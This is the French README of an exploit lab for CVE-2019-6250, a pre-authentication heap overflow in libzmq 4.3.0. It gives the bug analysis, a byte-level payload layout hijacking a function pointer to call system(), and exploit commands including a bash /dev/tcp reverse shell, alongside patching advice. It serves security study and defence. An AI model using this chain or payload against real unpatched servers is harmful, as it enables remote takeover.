
Lab RCE de bout en bout avant authentification pour CVE-2019-6250 (libzmq <= 4.3.0, protocole filaire ZMTP/2.0)
Chaîne RCE complète et fonctionnelle + laboratoire reproductible pour CVE-2019-6250, le débordement de tas (heap-buffer-overflow) avant authentification dans v2_decoder_t::size_ready de libzmq. Un dépassement arithmétique de pointeur uint64_t permet à un pair non authentifié d'écraser le pointeur de fonction adjacent msg_t::content_t::ffn sur le chemin réseau ZMTP/2.0, puis de le déclencher via la fermeture de la socket TCP → ~v2_decoder_t() → _in_progress.close() → system(cmd).
Par Nicolas Krassas (@dinosn).
Usage laboratoire exclusivement. Ce kit fournit une libzmq 4.3.0 volontairement vulnérable. N'exposez pas le port 5555 hors du laboratoire. Le bug a été corrigé il y a sept ans dans libzmq 4.3.1 (commit
1a2ed127).
system() — preuve par fichier


docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
-p 5555:5555 cve-2019-6250-lab
# inside the container:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250 # <-- created by the libzmq server process
sudo ./setup.sh # builds libzmq 4.3.0 + target, disables ASLR
sudo ./start_server.sh # binds tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555 # default cmd: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250
# terminal 1 — listener
nc -lvnp 4444
# terminal 2 — fire the chain
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'
Vous devriez voir quelque chose comme :
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#
La ligne cannot set terminal process group (1355844) confirme que le shell a été lancé par le processus cible libzmq (PID 1355844), et non par un élément que vous avez exécuté localement.
.
├── README.md # you are here
├── server.c # tiny PULL listener — the vulnerable target
├── exploit.py # full RCE chain
├── setup.sh # bare-metal provisioner (clones + builds libzmq 4.3.0)
├── start_server.sh # start/restart the target
├── read_addresses.sh # regenerate the address profile for a different image
├── run_lab_test.sh # automated end-to-end smoke test (CI-friendly)
├── Dockerfile # one-command containerised lab
└── screenshots/ # README screenshots (generated with charmbracelet/freeze)
src/v2_decoder.cpp:117 (libzmq 4.3.0) :
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_ // <-- wraps
> (allocator.data () + allocator.size ())))) {
rc = _in_progress.init_size (static_cast<size_t> (msg_size_)); // safe path
} else {
rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
allocator.buffer (), allocator.provide_content ());
// zero-copy aliasing path — _in_progress.data() == read_pos_
}
msg_size_ est le uint64_t big-endian contrôlé par l'attaquant issu de l'en-tête de trame LARGE de ZMTP/2.0. Avec msg_size_ = 0xFFFFFFFFFFFFFFFF, la somme read_pos_ + msg_size_ reboucle modulo 2⁶⁴ et aboutit à une valeur inférieure au membre de droite. Le test de bornes est donc évalué à faux → l'exécution tombe dans le chemin zéro-copie → le message _in_progress partage le tampon de réception. Le décodeur demande alors au noyau 0xFFFFFFFFFFFFFFFF octets supplémentaires à read_pos_, et recv() écrit joyeusement notre charge utile au-delà de la fin du tampon de réception, dans le tableau adjacent content_t[] (alloué dans le même bloc malloc() à decoder_allocators.cpp:88).
[ atomic_counter_t (refcnt) ] 8 bytes
[ recv buffer ] 8192 bytes ← bytes start landing at read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 bytes
↑ content_t[0] starts at read_pos_+8183
Nous envoyons 8224 octets de charge utile structurés ainsi :
Lorsque nous fermons la socket TCP, le ~v2_decoder_t() du serveur appelle _in_progress.close(). Dans msg_t::close :
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
content->ffn(content->data, content->hint); // -> system(cmd)
}
init_external_storage a défini _u.zclmsg.flags = 0, le raccourci OU prend donc immédiatement la branche — refcnt n'est même pas vérifié. Notre ffn écrasé s'exécute.
Pas de ROP, pas de shellcode, pas de fuite d'information : juste une résolution de symbole libc et une chaîne de commande intégrée.
v2_decoder_t avant authentificationEn regardant stream_engine.cpp:707 :
bool zmq::stream_engine_t::handshake_v2_0 ()
{
if (_session->zap_enabled ()) { error (...); return false; }
_encoder = new v2_encoder_t (...);
_decoder = new v2_decoder_t (...); // <-- NO mechanism object
return true;
}
Le chemin ZMTP/2.0 instancie v2_decoder_t sans mécanisme. Seul ZAP rejette les connexions 2.0, et ZAP est désactivé par défaut. Dès qu'un pair envoie le greeting ZMTP/2.0 de 12 octets (0xff + 8 zéros + 0x7f + révision 0x01 + type de socket), chaque octet suivant est analysé par v2_decoder_t. Pas d'authentification. Pas de handshake. Pas de machine à états de mécanisme.
Optionnel : compilez avec -fsanitize=address et observez le rapport heap-buffer-overflow :

La mention 0 bytes after 18160-byte region confirme la taille du bloc que nous avons calculée : 8 (atomic_counter) + 8192 (tampon de réception) + 249 × 40 (tableau content_t) = 18160. Le site d'allocation à handshake_v2_0:719 confirme que le bug se déclenche sur le chemin ZMTP/2.0 avant authentification.
Avec kernel.randomize_va_space=0, la base de libc, la base de libzmq, le tas et l'arène malloc du thread I/O sont tous à des adresses déterministes. Le profil par défaut d'exploit.py (DEFAULT_PROFILE) a été capturé pour la compilation du laboratoire fourni (Debian 12 / Kali 2024.1 / glibc 2.38, libzmq 4.3.0 en mode release -O2) :
Pour porter sur une compilation glibc / libzmq différente, exécutez ./read_addresses.sh > profile.json après start_server.sh, puis passez --profile profile.json à l'exploit.
Dans une attaque réelle, il faudrait soit une primitive de fuite d'information, soit un appel one-gadget ne nécessitant pas de contrôle d'argument. Ces deux éléments sont hors du périmètre de ce laboratoire — l'objectif est ici de démontrer proprement le pipeline bug-vers-shell, et non de contourner l'ASLR.
sudo pkill -9 server-rce
sudo rm -f /tmp/PWNED-CVE-2019-6250
sudo sysctl -w kernel.randomize_va_space=2 # restore default ASLR
Nicolas Krassas — @dinosn
MIT © Nicolas Krassas. Le code source de libzmq 4.3.0 volontairement vulnérable est récupéré au moment de la compilation depuis le dépôt amont LGPLv3-avec-exceptions / MPLv2 — sa licence s'applique séparément à ce code.
Pour la recherche en sécurité défensive, l'éducation et les tests de sécurité autorisés uniquement. Ne déployez pas la compilation vulnérable fournie en dehors d'un environnement de laboratoire isolé.
| décalage de charge utile | octets | ce qui est écrasé |
|---|
[0:16] | padding | (dans le tampon de réception) |
[16:K] | chaîne de commande + NUL | (dans le tampon de réception — argument de system) |
[K:8183] | padding | (dans le tampon de réception) |
[8183:8191] | read_pos+16 | content_t[0].data (→ commande) |
[8191:8199] | 0 | content_t[0].size |
[8199:8207] | &system | content_t[0].ffn (cible du flux de contrôle) |
[8207:8215] | 0 | content_t[0].hint |
[8215:8223] | 0 | content_t[0].refcnt |
| champ | valeur | source |
|---|
libc_base | 0x7ffff7c00000 | /proc/<pid>/maps |
system_off | 0x53910 | nm -D /lib/x86_64-linux-gnu/libc.so.6 |
read_pos | 0x7ffff000bbc1 | _buf + sizeof(atomic_counter_t) + 9 |
dist_to_content | 8183 | dérivé de la disposition |
cmd_offset | 16 | emplacement de la commande dans la charge utile |
| Défense | Effet |
|---|
| Mettre à niveau vers libzmq ≥ 4.3.1 | Corrigé. Le commit 1a2ed127 réécrit le test de bornes sous la forme msg_size_ > size_t(allocator.data()+size()-read_pos_) — aucun débordement possible. |
zmq_setsockopt(s, ZMQ_MAXMSGSIZE, &n, sizeof(n)) avec n'importe quel n positif | Atténue. Court-circuite le test de bornes défectueux avant qu'il ne puisse déborder. |
| Activer l'authentification ZAP | Bloque les connexions ZMTP/2.0 (rejetées à stream_engine.cpp:709). Ne corrige pas le bug ; empêche seulement le chemin non authentifié. |
| ASLR | Ralentit l'armement mais ne l'empêche pas — la primitive de la chaîne est elle-même inchangée. |
| Canaris de pile / NX / RELRO | Aucune de ces protections n'empêche le détournement d'un pointeur de fonction sur le tas. |